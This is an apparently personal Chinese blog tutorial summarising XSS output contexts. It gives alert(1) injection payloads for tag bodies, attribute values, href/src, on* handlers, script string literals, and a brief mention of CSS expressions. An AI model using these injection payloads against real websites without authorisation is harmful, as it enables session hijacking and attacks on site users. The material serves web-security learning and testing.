XSS输出点总结

0x01 HTML标签之间

例如输出点:

1
<div id="body">[输出]</div>

直接提交

1
<script>alert(1)</script>

即可触发XSS,但是当标签是不能执行脚本的标签 总结
那么就得先把那个标签闭合,然后在注入XSS语句,例如

1
</textarea><script>alert(1)</script>

0x02 HTML标签之内

例如输入点:

1
<input type="text" value="[输出]"/>

两种方法:

  1. 闭合属性,然后用on时间来触发脚本

    1
    " onmouseover=alert(1) x="
  2. 闭合属性后闭合标签,然后直接执行脚本

    1
    "><script>alert(1)</script>

还有一些特殊的场景:

1
<input type="hiden" value="[输出]" />

这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本

1
<input value="[输出点]" type="hidden"/>

但是这里可以输入

1
1" onmouseover=alert(1) type="text

输出变为

1
<input value="1" onmouseover=alert(1) type="text" type="hidden" />

这时候的输出就不再是隐藏表单了,而是标准输入框

再比如这两类场景:

  1. 输出在src/href/action等属性内,比如
    1
    <a href="[输出]">click me </a>

除了各种闭合标签外,还可以

1
2
javascript:alert(1)//
data:text/html;base64,(base64字符串)

前提是我们提交的payload必须出现在这些属性值的开头部分(data:协议的必须作为整个属性值出现,IE不支持)

对于javascript:alert(1)//来说,如果网站把注释符//过滤了,那么我们还可以用javascript逻辑与算数运算符,因为JavaScript是弱类型语言,字符串与字符串之间的各种运算是合法的,可以用

1
2
<a href="javascript:alert(1) - html">click me</a>
window.onerror=function(){return true;} //抑制错误

  1. 输出在on*事件内,比如
    1
    <a href="#" onclick="[输出]">click me</a>

on*事件是可以执行javascript脚本的。

0x03 成为Javascript代码的值

例如

1
<script>a="[输出]";...</script>

此时我们可以闭合标签

1
</script><script>alert(1)//

也可以闭合a变量的值

1
";alert(1);//

0x04 成为CSS代码的值

打开就是利用expression关键词来执行脚本

本文标题:XSS输出点总结

文章作者:Pino-HD

发布时间:2018年05月30日 - 22:05

最后更新:2018年05月30日 - 22:05

原始链接:https://pino-hd.github.io/2018/05/30/XSS输出点总结/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!